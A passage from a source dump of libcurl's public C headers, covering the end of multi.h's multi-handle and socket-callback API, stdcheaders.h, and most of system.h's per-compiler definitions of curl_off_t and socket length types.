CURLMcode curl_multi_cleanup(CURLM *multi_handle); 231 | 232 | /* 233 | * Name: curl_multi_info_read() 234 | * 235 | * Desc: Ask the multi handle if there's any messages/informationals from 236 | * the individual transfers. Messages include informationals such as 237 | * error code from the transfer or just the fact that a transfer is 238 | * completed. More details on these should be written down as well. 239 | * 240 | * Repeated calls to this function will return a new struct each 241 | * time, until a special "end of msgs" struct is returned as a signal 242 | * that there is no more to get at this point. 243 | * 244 | * The data the returned pointer points to will not survive calling 245 | * curl_multi_cleanup(). 246 | * 247 | * The 'CURLMsg' struct is meant to be very simple and only contain 248 | * very basic information. If more involved information is wanted, 249 | * we will provide the particular "transfer handle" in that struct 250 | * and that should/could/would be used in subsequent 251 | * curl_easy_getinfo() calls (or similar). The point being that we 252 | * must never expose complex structs to applications, as then we'll 253 | * undoubtably get backwards compatibility problems in the future. 254 | * 255 | * Returns: A pointer to a filled-in struct, or NULL if it failed or ran out 256 | * of structs. It also writes the number of messages left in the 257 | * queue (after this read) in the integer the second argument points 258 | * to. 259 | */ 260 | CURL_EXTERN CURLMsg *curl_multi_info_read(CURLM *multi_handle, 261 | int *msgs_in_queue); 262 | 263 | /* 264 | * Name: curl_multi_strerror() 265 | * 266 | * Desc: The curl_multi_strerror function may be used to turn a CURLMcode 267 | * value into the equivalent human readable error string. This is 268 | * useful for printing meaningful error messages. 269 | * 270 | * Returns: A pointer to a null-terminated error message. 271 | */ 272 | CURL_EXTERN const char *curl_multi_strerror(CURLMcode); 273 | 274 | /* 275 | * Name: curl_multi_socket() and 276 | * curl_multi_socket_all() 277 | * 278 | * Desc: An alternative version of curl_multi_perform() that allows the 279 | * application to pass in one of the file descriptors that have been 280 | * detected to have "action" on them and let libcurl perform. 281 | * See man page for details. 282 | */ 283 | #define CURL_POLL_NONE 0 284 | #define CURL_POLL_IN 1 285 | #define CURL_POLL_OUT 2 286 | #define CURL_POLL_INOUT 3 287 | #define CURL_POLL_REMOVE 4 288 | 289 | #define CURL_SOCKET_TIMEOUT CURL_SOCKET_BAD 290 | 291 | #define CURL_CSELECT_IN 0x01 292 | #define CURL_CSELECT_OUT 0x02 293 | #define CURL_CSELECT_ERR 0x04 294 | 295 | typedef int (*curl_socket_callback)(CURL *easy, /* easy handle */ 296 | curl_socket_t s, /* socket */ 297 | int what, /* see above */ 298 | void *userp, /* private callback 299 | pointer */ 300 | void *socketp); /* private socket 301 | pointer */ 302 | /* 303 | * Name: curl_multi_timer_callback 304 | * 305 | * Desc: Called by libcurl whenever the library detects a change in the 306 | * maximum number of milliseconds the app is allowed to wait before 307 | * curl_multi_socket() or curl_multi_perform() must be called 308 | * (to allow libcurl's timed events to take place). 309 | * 310 | * Returns: The callback should return zero. 311 | */ 312 | typedef int (*curl_multi_timer_callback)(CURLM *multi, /* multi handle */ 313 | long timeout_ms, /* see above */ 314 | void *userp); /* private callback 315 | pointer */ 316 | 317 | CURL_EXTERN CURLMcode curl_multi_socket(CURLM *multi_handle, curl_socket_t s, 318 | int *running_handles); 319 | 320 | CURL_EXTERN CURLMcode curl_multi_socket_action(CURLM *multi_handle, 321 | curl_socket_t s, 322 | int ev_bitmask, 323 | int *running_handles); 324 | 325 | CURL_EXTERN CURLMcode curl_multi_socket_all(CURLM *multi_handle, 326 | int *running_handles); 327 | 328 | #ifndef CURL_ALLOW_OLD_MULTI_SOCKET 329 | /* This macro below was added in 7.16.3 to push users who recompile to use 330 | the new curl_multi_socket_action() instead of the old curl_multi_socket() 331 | */ 332 | #define curl_multi_socket(x,y,z) curl_multi_socket_action(x,y,0,z) 333 | #endif 334 | 335 | /* 336 | * Name: curl_multi_timeout() 337 | * 338 | * Desc: Returns the maximum number of milliseconds the app is allowed to 339 | * wait before curl_multi_socket() or curl_multi_perform() must be 340 | * called (to allow libcurl's timed events to take place). 341 | * 342 | * Returns: CURLM error code. 343 | */ 344 | CURL_EXTERN CURLMcode curl_multi_timeout(CURLM *multi_handle, 345 | long *milliseconds); 346 | 347 | typedef enum { 348 | /* This is the socket callback function pointer */ 349 | CURLOPT(CURLMOPT_SOCKETFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 1), 350 | 351 | /* This is the argument passed to the socket callback */ 352 | CURLOPT(CURLMOPT_SOCKETDATA, CURLOPTTYPE_OBJECTPOINT, 2), 353 | 354 | /* set to 1 to enable pipelining for this multi handle */ 355 | CURLOPT(CURLMOPT_PIPELINING, CURLOPTTYPE_LONG, 3), 356 | 357 | /* This is the timer callback function pointer */ 358 | CURLOPT(CURLMOPT_TIMERFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 4), 359 | 360 | /* This is the argument passed to the timer callback */ 361 | CURLOPT(CURLMOPT_TIMERDATA, CURLOPTTYPE_OBJECTPOINT, 5), 362 | 363 | /* maximum number of entries in the connection cache */ 364 | CURLOPT(CURLMOPT_MAXCONNECTS, CURLOPTTYPE_LONG, 6), 365 | 366 | /* maximum number of (pipelining) connections to one host */ 367 | CURLOPT(CURLMOPT_MAX_HOST_CONNECTIONS, CURLOPTTYPE_LONG, 7), 368 | 369 | /* maximum number of requests in a pipeline */ 370 | CURLOPT(CURLMOPT_MAX_PIPELINE_LENGTH, CURLOPTTYPE_LONG, 8), 371 | 372 | /* a connection with a content-length longer than this 373 | will not be considered for pipelining */ 374 | CURLOPT(CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE, CURLOPTTYPE_OFF_T, 9), 375 | 376 | /* a connection with a chunk length longer than this 377 | will not be considered for pipelining */ 378 | CURLOPT(CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE, CURLOPTTYPE_OFF_T, 10), 379 | 380 | /* a list of site names(+port) that are blocked from pipelining */ 381 | CURLOPT(CURLMOPT_PIPELINING_SITE_BL, CURLOPTTYPE_OBJECTPOINT, 11), 382 | 383 | /* a list of server types that are blocked from pipelining */ 384 | CURLOPT(CURLMOPT_PIPELINING_SERVER_BL, CURLOPTTYPE_OBJECTPOINT, 12), 385 | 386 | /* maximum number of open connections in total */ 387 | CURLOPT(CURLMOPT_MAX_TOTAL_CONNECTIONS, CURLOPTTYPE_LONG, 13), 388 | 389 | /* This is the server push callback function pointer */ 390 | CURLOPT(CURLMOPT_PUSHFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 14), 391 | 392 | /* This is the argument passed to the server push callback */ 393 | CURLOPT(CURLMOPT_PUSHDATA, CURLOPTTYPE_OBJECTPOINT, 15), 394 | 395 | /* maximum number of concurrent streams to support on a connection */ 396 | CURLOPT(CURLMOPT_MAX_CONCURRENT_STREAMS, CURLOPTTYPE_LONG, 16), 397 | 398 | CURLMOPT_LASTENTRY /* the last unused */ 399 | } CURLMoption; 400 | 401 | 402 | /* 403 | * Name: curl_multi_setopt() 404 | * 405 | * Desc: Sets options for the multi handle. 406 | * 407 | * Returns: CURLM error code. 408 | */ 409 | CURL_EXTERN CURLMcode curl_multi_setopt(CURLM *multi_handle, 410 | CURLMoption option, ...); 411 | 412 | 413 | /* 414 | * Name: curl_multi_assign() 415 | * 416 | * Desc: This function sets an association in the multi handle between the 417 | * given socket and a private pointer of the application. This is 418 | * (only) useful for curl_multi_socket uses. 419 | * 420 | * Returns: CURLM error code. 421 | */ 422 | CURL_EXTERN CURLMcode curl_multi_assign(CURLM *multi_handle, 423 | curl_socket_t sockfd, void *sockp); 424 | 425 | 426 | /* 427 | * Name: curl_push_callback 428 | * 429 | * Desc: This callback gets called when a new stream is being pushed by the 430 | * server. It approves or denies the new stream. 431 | * 432 | * Returns: CURL_PUSH_OK or CURL_PUSH_DENY. 433 | */ 434 | #define CURL_PUSH_OK 0 435 | #define CURL_PUSH_DENY 1 436 | 437 | struct curl_pushheaders; /* forward declaration only */ 438 | 439 | CURL_EXTERN char *curl_pushheader_bynum(struct curl_pushheaders *h, 440 | size_t num); 441 | CURL_EXTERN char *curl_pushheader_byname(struct curl_pushheaders *h, 442 | const char *name); 443 | 444 | typedef int (*curl_push_callback)(CURL *parent, 445 | CURL *easy, 446 | size_t num_headers, 447 | struct curl_pushheaders *headers, 448 | void *userp); 449 | 450 | #ifdef __cplusplus 451 | } /* end of extern "C" */ 452 | #endif 453 | 454 | #endif 455 | -------------------------------------------------------------------------------- /curl/stdcheaders.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_STDCHEADERS_H 2 | #define CURLINC_STDCHEADERS_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 1998 - 2019, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | 25 | #include 26 | 27 | size_t fread(void *, size_t, size_t, FILE *); 28 | size_t fwrite(const void *, size_t, size_t, FILE *); 29 | 30 | int strcasecmp(const char *, const char *); 31 | int strncasecmp(const char *, const char *, size_t); 32 | 33 | #endif /* CURLINC_STDCHEADERS_H */ 34 | -------------------------------------------------------------------------------- /curl/system.h: -------------------------------------------------------------------------------- 1 | #ifndef CURLINC_SYSTEM_H 2 | #define CURLINC_SYSTEM_H 3 | /*************************************************************************** 4 | * _ _ ____ _ 5 | * Project ___| | | | _ \| | 6 | * / __| | | | |_) | | 7 | * | (__| |_| | _ <| |___ 8 | * \___|\___/|_| \_\_____| 9 | * 10 | * Copyright (C) 1998 - 2019, Daniel Stenberg, , et al. 11 | * 12 | * This software is licensed as described in the file COPYING, which 13 | * you should have received as part of this distribution. The terms 14 | * are also available at https://curl.haxx.se/docs/copyright.html. 15 | * 16 | * You may opt to use, copy, modify, merge, publish, distribute and/or sell 17 | * copies of the Software, and permit persons to whom the Software is 18 | * furnished to do so, under the terms of the COPYING file. 19 | * 20 | * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY 21 | * KIND, either express or implied. 22 | * 23 | ***************************************************************************/ 24 | 25 | /* 26 | * Try to keep one section per platform, compiler and architecture, otherwise, 27 | * if an existing section is reused for a different one and later on the 28 | * original is adjusted, probably the piggybacking one can be adversely 29 | * changed. 30 | * 31 | * In order to differentiate between platforms/compilers/architectures use 32 | * only compiler built in predefined preprocessor symbols. 33 | * 34 | * curl_off_t 35 | * ---------- 36 | * 37 | * For any given platform/compiler curl_off_t must be typedef'ed to a 64-bit 38 | * wide signed integral data type. The width of this data type must remain 39 | * constant and independent of any possible large file support settings. 40 | * 41 | * As an exception to the above, curl_off_t shall be typedef'ed to a 32-bit 42 | * wide signed integral data type if there is no 64-bit type. 43 | * 44 | * As a general rule, curl_off_t shall not be mapped to off_t. This rule shall 45 | * only be violated if off_t is the only 64-bit data type available and the 46 | * size of off_t is independent of large file support settings. Keep your 47 | * build on the safe side avoiding an off_t gating. If you have a 64-bit 48 | * off_t then take for sure that another 64-bit data type exists, dig deeper 49 | * and you will find it. 50 | * 51 | */ 52 | 53 | #if defined(__DJGPP__) || defined(__GO32__) 54 | # if defined(__DJGPP__) && (__DJGPP__ > 1) 55 | # define CURL_TYPEOF_CURL_OFF_T long long 56 | # define CURL_FORMAT_CURL_OFF_T "lld" 57 | # define CURL_FORMAT_CURL_OFF_TU "llu" 58 | # define CURL_SUFFIX_CURL_OFF_T LL 59 | # define CURL_SUFFIX_CURL_OFF_TU ULL 60 | # else 61 | # define CURL_TYPEOF_CURL_OFF_T long 62 | # define CURL_FORMAT_CURL_OFF_T "ld" 63 | # define CURL_FORMAT_CURL_OFF_TU "lu" 64 | # define CURL_SUFFIX_CURL_OFF_T L 65 | # define CURL_SUFFIX_CURL_OFF_TU UL 66 | # endif 67 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 68 | 69 | #elif defined(__SALFORDC__) 70 | # define CURL_TYPEOF_CURL_OFF_T long 71 | # define CURL_FORMAT_CURL_OFF_T "ld" 72 | # define CURL_FORMAT_CURL_OFF_TU "lu" 73 | # define CURL_SUFFIX_CURL_OFF_T L 74 | # define CURL_SUFFIX_CURL_OFF_TU UL 75 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 76 | 77 | #elif defined(__BORLANDC__) 78 | # if (__BORLANDC__ < 0x520) 79 | # define CURL_TYPEOF_CURL_OFF_T long 80 | # define CURL_FORMAT_CURL_OFF_T "ld" 81 | # define CURL_FORMAT_CURL_OFF_TU "lu" 82 | # define CURL_SUFFIX_CURL_OFF_T L 83 | # define CURL_SUFFIX_CURL_OFF_TU UL 84 | # else 85 | # define CURL_TYPEOF_CURL_OFF_T __int64 86 | # define CURL_FORMAT_CURL_OFF_T "I64d" 87 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 88 | # define CURL_SUFFIX_CURL_OFF_T i64 89 | # define CURL_SUFFIX_CURL_OFF_TU ui64 90 | # endif 91 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 92 | 93 | #elif defined(__TURBOC__) 94 | # define CURL_TYPEOF_CURL_OFF_T long 95 | # define CURL_FORMAT_CURL_OFF_T "ld" 96 | # define CURL_FORMAT_CURL_OFF_TU "lu" 97 | # define CURL_SUFFIX_CURL_OFF_T L 98 | # define CURL_SUFFIX_CURL_OFF_TU UL 99 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 100 | 101 | #elif defined(__WATCOMC__) 102 | # if defined(__386__) 103 | # define CURL_TYPEOF_CURL_OFF_T __int64 104 | # define CURL_FORMAT_CURL_OFF_T "I64d" 105 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 106 | # define CURL_SUFFIX_CURL_OFF_T i64 107 | # define CURL_SUFFIX_CURL_OFF_TU ui64 108 | # else 109 | # define CURL_TYPEOF_CURL_OFF_T long 110 | # define CURL_FORMAT_CURL_OFF_T "ld" 111 | # define CURL_FORMAT_CURL_OFF_TU "lu" 112 | # define CURL_SUFFIX_CURL_OFF_T L 113 | # define CURL_SUFFIX_CURL_OFF_TU UL 114 | # endif 115 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 116 | 117 | #elif defined(__POCC__) 118 | # if (__POCC__ < 280) 119 | # define CURL_TYPEOF_CURL_OFF_T long 120 | # define CURL_FORMAT_CURL_OFF_T "ld" 121 | # define CURL_FORMAT_CURL_OFF_TU "lu" 122 | # define CURL_SUFFIX_CURL_OFF_T L 123 | # define CURL_SUFFIX_CURL_OFF_TU UL 124 | # elif defined(_MSC_VER) 125 | # define CURL_TYPEOF_CURL_OFF_T __int64 126 | # define CURL_FORMAT_CURL_OFF_T "I64d" 127 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 128 | # define CURL_SUFFIX_CURL_OFF_T i64 129 | # define CURL_SUFFIX_CURL_OFF_TU ui64 130 | # else 131 | # define CURL_TYPEOF_CURL_OFF_T long long 132 | # define CURL_FORMAT_CURL_OFF_T "lld" 133 | # define CURL_FORMAT_CURL_OFF_TU "llu" 134 | # define CURL_SUFFIX_CURL_OFF_T LL 135 | # define CURL_SUFFIX_CURL_OFF_TU ULL 136 | # endif 137 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 138 | 139 | #elif defined(__LCC__) 140 | # if defined(__e2k__) /* MCST eLbrus C Compiler */ 141 | # define CURL_TYPEOF_CURL_OFF_T long 142 | # define CURL_FORMAT_CURL_OFF_T "ld" 143 | # define CURL_FORMAT_CURL_OFF_TU "lu" 144 | # define CURL_SUFFIX_CURL_OFF_T L 145 | # define CURL_SUFFIX_CURL_OFF_TU UL 146 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 147 | # define CURL_PULL_SYS_TYPES_H 1 148 | # define CURL_PULL_SYS_SOCKET_H 1 149 | # else /* Local (or Little) C Compiler */ 150 | # define CURL_TYPEOF_CURL_OFF_T long 151 | # define CURL_FORMAT_CURL_OFF_T "ld" 152 | # define CURL_FORMAT_CURL_OFF_TU "lu" 153 | # define CURL_SUFFIX_CURL_OFF_T L 154 | # define CURL_SUFFIX_CURL_OFF_TU UL 155 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 156 | # endif 157 | 158 | #elif defined(__SYMBIAN32__) 159 | # if defined(__EABI__) /* Treat all ARM compilers equally */ 160 | # define CURL_TYPEOF_CURL_OFF_T long long 161 | # define CURL_FORMAT_CURL_OFF_T "lld" 162 | # define CURL_FORMAT_CURL_OFF_TU "llu" 163 | # define CURL_SUFFIX_CURL_OFF_T LL 164 | # define CURL_SUFFIX_CURL_OFF_TU ULL 165 | # elif defined(__CW32__) 166 | # pragma longlong on 167 | # define CURL_TYPEOF_CURL_OFF_T long long 168 | # define CURL_FORMAT_CURL_OFF_T "lld" 169 | # define CURL_FORMAT_CURL_OFF_TU "llu" 170 | # define CURL_SUFFIX_CURL_OFF_T LL 171 | # define CURL_SUFFIX_CURL_OFF_TU ULL 172 | # elif defined(__VC32__) 173 | # define CURL_TYPEOF_CURL_OFF_T __int64 174 | # define CURL_FORMAT_CURL_OFF_T "lld" 175 | # define CURL_FORMAT_CURL_OFF_TU "llu" 176 | # define CURL_SUFFIX_CURL_OFF_T LL 177 | # define CURL_SUFFIX_CURL_OFF_TU ULL 178 | # endif 179 | # define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int 180 | 181 | #elif defined(__MWERKS__) 182 | # define CURL_TYPEOF_CURL_OFF_T long long 183 | # define CURL_FORMAT_CURL_OFF_T "lld" 184 | # define CURL_FORMAT_CURL_OFF_TU "llu" 185 | # define CURL_SUFFIX_CURL_OFF_T LL 186 | # define CURL_SUFFIX_CURL_OFF_TU ULL 187 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 188 | 189 | #elif defined(_WIN32_WCE) 190 | # define CURL_TYPEOF_CURL_OFF_T __int64 191 | # define CURL_FORMAT_CURL_OFF_T "I64d" 192 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 193 | # define CURL_SUFFIX_CURL_OFF_T i64 194 | # define CURL_SUFFIX_CURL_OFF_TU ui64 195 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 196 | 197 | #elif defined(__MINGW32__) 198 | # define CURL_TYPEOF_CURL_OFF_T long long 199 | # define CURL_FORMAT_CURL_OFF_T "I64d" 200 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 201 | # define CURL_SUFFIX_CURL_OFF_T LL 202 | # define CURL_SUFFIX_CURL_OFF_TU ULL 203 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 204 | # define CURL_PULL_SYS_TYPES_H 1 205 | # define CURL_PULL_WS2TCPIP_H 1 206 | 207 | #elif defined(__VMS) 208 | # if defined(__VAX) 209 | # define CURL_TYPEOF_CURL_OFF_T long 210 | # define CURL_FORMAT_CURL_OFF_T "ld" 211 | # define CURL_FORMAT_CURL_OFF_TU "lu" 212 | # define CURL_SUFFIX_CURL_OFF_T L 213 | # define CURL_SUFFIX_CURL_OFF_TU UL 214 | # else 215 | # define CURL_TYPEOF_CURL_OFF_T long long 216 | # define CURL_FORMAT_CURL_OFF_T "lld" 217 | # define CURL_FORMAT_CURL_OFF_TU "llu" 218 | # define CURL_SUFFIX_CURL_OFF_T LL 219 | # define CURL_SUFFIX_CURL_OFF_TU ULL 220 | # endif 221 | # define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int 222 | 223 | #elif defined(__OS400__) 224 | # if defined(__ILEC400__) 225 | # define CURL_TYPEOF_CURL_OFF_T long long 226 | # define CURL_FORMAT_CURL_OFF_T "lld" 227 | # define CURL_FORMAT_CURL_OFF_TU "llu" 228 | # define CURL_SUFFIX_CURL_OFF_T LL 229 | # define CURL_SUFFIX_CURL_OFF_TU ULL 230 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 231 | # define CURL_PULL_SYS_TYPES_H 1 232 | # define CURL_PULL_SYS_SOCKET_H 1 233 | # endif 234 | 235 | #elif defined(__MVS__) 236 | # if defined(__IBMC__) || defined(__IBMCPP__) 237 | # if defined(_ILP32) 238 | # elif defined(_LP64) 239 | # endif 240 | # if defined(_LONG_LONG) 241 | # define CURL_TYPEOF_CURL_OFF_T long long 242 | # define CURL_FORMAT_CURL_OFF_T "lld" 243 | # define CURL_FORMAT_CURL_OFF_TU "llu" 244 | # define CURL_SUFFIX_CURL_OFF_T LL 245 | # define CURL_SUFFIX_CURL_OFF_TU ULL 246 | # elif defined(_LP64) 247 | # define CURL_TYPEOF_CURL_OFF_T long 248 | # define CURL_FORMAT_CURL_OFF_T "ld" 249 | # define CURL_FORMAT_CURL_OFF_TU "lu" 250 | # define CURL_SUFFIX_CURL_OFF_T L 251 | # define CURL_SUFFIX_CURL_OFF_TU UL 252 | # else 253 | # define CURL_TYPEOF_CURL_OFF_T long 254 | # define CURL_FORMAT_CURL_OFF_T "ld" 255 | # define CURL_FORMAT_CURL_OFF_TU "lu" 256 | # define CURL_SUFFIX_CURL_OFF_T L 257 | # define CURL_SUFFIX_CURL_OFF_TU UL 258 | # endif 259 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 260 | # define CURL_PULL_SYS_TYPES_H 1 261 | # define CURL_PULL_SYS_SOCKET_H 1 262 | # endif 263 | 264 | #elif defined(__370__) 265 | # if defined(__IBMC__) || defined(__IBMCPP__) 266 | # if defined(_ILP32) 267 | # elif defined(_LP64) 268 | # endif 269 | # if defined(_LONG_LONG) 270 | # define CURL_TYPEOF_CURL_OFF_T long long 271 | # define CURL_FORMAT_CURL_OFF_T "lld" 272 | # define CURL_FORMAT_CURL_OFF_TU "llu" 273 | # define CURL_SUFFIX_CURL_OFF_T LL 274 | # define CURL_SUFFIX_CURL_OFF_TU ULL 275 | # elif defined(_LP64) 276 | # define CURL_TYPEOF_CURL_OFF_T long 277 | # define CURL_FORMAT_CURL_OFF_T "ld" 278 | # define CURL_FORMAT_CURL_OFF_TU "lu" 279 | # define CURL_SUFFIX_CURL_OFF_T L 280 | # define CURL_SUFFIX_CURL_OFF_TU UL 281 | # else 282 | # define CURL_TYPEOF_CURL_OFF_T long 283 | # define CURL_FORMAT_CURL_OFF_T "ld" 284 | # define CURL_FORMAT_CURL_OFF_TU "lu" 285 | # define CURL_SUFFIX_CURL_OFF_T L 286 | # define CURL_SUFFIX_CURL_OFF_TU UL 287 | # endif 288 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 289 | # define CURL_PULL_SYS_TYPES_H 1 290 | # define CURL_PULL_SYS_SOCKET_H 1 291 | # endif 292 | 293 | #elif defined(TPF) 294 | # define CURL_TYPEOF_CURL_OFF_T long 295 | # define CURL_FORMAT_CURL_OFF_T "ld" 296 | # define CURL_FORMAT_CURL_OFF_TU "lu" 297 | # define CURL_SUFFIX_CURL_OFF_T L 298 | # define CURL_SUFFIX_CURL_OFF_TU UL 299 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 300 | 301 | #elif defined(__TINYC__) /* also known as tcc */ 302 | # define CURL_TYPEOF_CURL_OFF_T long long 303 | # define CURL_FORMAT_CURL_OFF_T "lld" 304 | # define CURL_FORMAT_CURL_OFF_TU "llu" 305 | # define CURL_SUFFIX_CURL_OFF_T LL 306 | # define CURL_SUFFIX_CURL_OFF_TU ULL 307 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 308 | # define CURL_PULL_SYS_TYPES_H 1 309 | # define CURL_PULL_SYS_SOCKET_H 1 310 | 311 | #elif defined(__SUNPRO_C) || defined(__SUNPRO_CC) /* Oracle Solaris Studio */ 312 | # if !defined(__LP64) && (defined(__ILP32) || \ 313 | defined(__i386) || \ 314 | defined(__sparcv8) || \ 315 | defined(__sparcv8plus)) 316 | # define CURL_TYPEOF_CURL_OFF_T long long 317 | # define CURL_FORMAT_CURL_OFF_T "lld" 318 | # define CURL_FORMAT_CURL_OFF_TU "llu" 319 | # define CURL_SUFFIX_CURL_OFF_T LL 320 | # define CURL_SUFFIX_CURL_OFF_TU ULL 321 | # elif defined(__LP64) || \ 322 | defined(__amd64) || defined(__sparcv9) 323 | # define CURL_TYPEOF_CURL_OFF_T long 324 | # define CURL_FORMAT_CURL_OFF_T "ld" 325 | # define CURL_FORMAT_CURL_OFF_TU "lu" 326 | # define CURL_SUFFIX_CURL_OFF_T L 327 | # define CURL_SUFFIX_CURL_OFF_TU UL 328 | # endif 329 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 330 | # define CURL_PULL_SYS_TYPES_H 1 331 | # define CURL_PULL_SYS_SOCKET_H 1 332 | 333 | #elif defined(__xlc__) /* IBM xlc compiler */ 334 | # if !defined(_LP64) 335 | # define CURL_TYPEOF_CURL_OFF_T long long 336 | # define CURL_FORMAT_CURL_OFF_T "lld" 337 | # define CURL_FORMAT_CURL_OFF_TU "llu" 338 | # define CURL_SUFFIX_CURL_OFF_T LL 339 | # define CURL_SUFFIX_CURL_OFF_TU ULL 340 | # else 341 | # define CURL_TYPEOF_CURL_OFF_T long 342 | # define CURL_FORMAT_CURL_OFF_T "ld" 343 | # define CURL_FORMAT_CURL_OFF_TU "lu" 344 | # define CURL_SUFFIX_CURL_OFF_T L 345 | # define CURL_SUFFIX_CURL_OFF_TU UL 346 | # endif 347 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 348 | # define CURL_PULL_SYS_TYPES_H 1 349 | # define CURL_PULL_SYS_SOCKET_H 1 350 | 351 | /* ===================================== */ 352 | /* KEEP MSVC THE PENULTIMATE ENTRY */ 353 | /* ===================================== */ 354 | 355 | #elif defined(_MSC_VER) 356 | # if (_MSC_VER >= 900) && (_INTEGRAL_MAX_BITS >= 64) 357 | # define CURL_TYPEOF_CURL_OFF_T __int64 358 | # define CURL_FORMAT_CURL_OFF_T "I64d" 359 | # define CURL_FORMAT_CURL_OFF_TU "I64u" 360 | # define CURL_SUFFIX_CURL_OFF_T i64 361 | # define CURL_SUFFIX_CURL_OFF_TU ui64 362 | # else 363 | # define CURL_TYPEOF_CURL_OFF_T long 364 | # define CURL_FORMAT_CURL_OFF_T "ld" 365 | # define CURL_FORMAT_CURL_OFF_TU "lu" 366 | # define CURL_SUFFIX_CURL_OFF_T L 367 | # define CURL_SUFFIX_CURL_OFF_TU UL 368 | # endif 369 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 370 | 371 | /* ===================================== */ 372 | /* KEEP GENERIC GCC THE LAST ENTRY */ 373 | /* ===================================== */ 374 | 375 | #elif defined(__GNUC__) && !defined(_SCO_DS) 376 | # if !defined(__LP64__) && \ 377 | (defined(__ILP32__) || defined(__i386__) || defined(__hppa__) || \ 378 | defined(__ppc__) || defined(__powerpc__) || defined(__arm__) || \ 379 | defined(__sparc__) || defined(__mips__) || defined(__sh__) || \ 380 | defined(__XTENSA__) || \ 381 | (defined(__SIZEOF_LONG__) && __SIZEOF_LONG__ == 4) || \ 382 | (defined(__LONG_MAX__) && __LONG_MAX__ == 2147483647L)) 383 | # define CURL_TYPEOF_CURL_OFF_T long long 384 | # define CURL_FORMAT_CURL_OFF_T "lld" 385 | # define CURL_FORMAT_CURL_OFF_TU "llu" 386 | # define CURL_SUFFIX_CURL_OFF_T LL 387 | # define CURL_SUFFIX_CURL_OFF_TU ULL 388 | # elif defined(__LP64__) || \ 389 | defined(__x86_64__) || defined(__ppc64__) || defined(__sparc64__) || \ 390 | defined(__e2k__) || \ 391 | (defined(__SIZEOF_LONG__) && __SIZEOF_LONG__ == 8) || \ 392 | (defined(__LONG_MAX__) && __LONG_MAX__ == 9223372036854775807L) 393 | # define CURL_TYPEOF_CURL_OFF_T long 394 | # define CURL_FORMAT_CURL_OFF_T "ld" 395 | # define CURL_FORMAT_CURL_OFF_TU "lu" 396 | # define CURL_SUFFIX_CURL_OFF_T L 397 | # define CURL_SUFFIX_CURL_OFF_TU UL 398 | # endif 399 | # define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t 400 | # define CURL_PULL_SYS_TYPES_H 1 401 | # define CURL_PULL_SYS_SOCKET_H 1 402 | 403 | #else 404 | /* generic "safe guess" on old 32 bit style */ 405 | # define CURL_TYPEOF_CURL_OFF_T long 406 | # define CURL_FORMAT_CURL_OFF_T "ld" 407 | # define CURL_FORMAT_CURL_OFF_TU "lu" 408 | # define CURL_SUFFIX_CURL_OFF_T L 409 | # define CURL_SUFFIX_CURL_OFF_TU UL 410 | # define CURL_TYPEOF_CURL_SOCKLEN_T int 411 | #endif 412 | 413 | #ifdef _AIX 414 | /* AIX needs */ 415 | #define CURL_PULL_SYS_POLL_H 416 | #endif 417 | 418 | 419 | /* CURL_PULL_WS2TCPIP_H is defined above when inclusion of header file */ 420 | /* ws2tcpip.h is required here to properly make type definitions below. */ 421 | #ifdef CURL_PULL_WS2TCPIP_H 422 | # include 423 | # include 424 | # include 425 | #endif 426 | 427 | /* CURL_PULL_SYS_TYPES_H is defined above when inclusion of header file */ 428 | /* sys/types.h is required here to properly make type definitions below. */ 429 | #ifdef CURL_PULL_SYS_TYPES_H 430 | # include 431 | #endif 432 | 433 | /* CURL_PULL_SYS_SOCKET_H is defined above when inclusion of header file */ 434 | /* sys/socket.h is required here to properly make type definitions below. */ 435 | #ifdef CURL_PULL_SYS_SOCKET_H 436 | # include 437 | #endif 438 | 439 | /* CURL_PULL_SYS_POLL_H is defined above when inclusion of header file */ 440 | /* sys/poll.h is required here to properly make type definitions below. */ 441 | #ifdef CURL_PULL_SYS_POLL_H 442 | # include 443 | #endif 444 | 445 | /* Data type definition of curl_socklen_t. */ 446 | #ifdef CURL_TYPEOF_CURL_SOCKLEN_T 447 | typedef 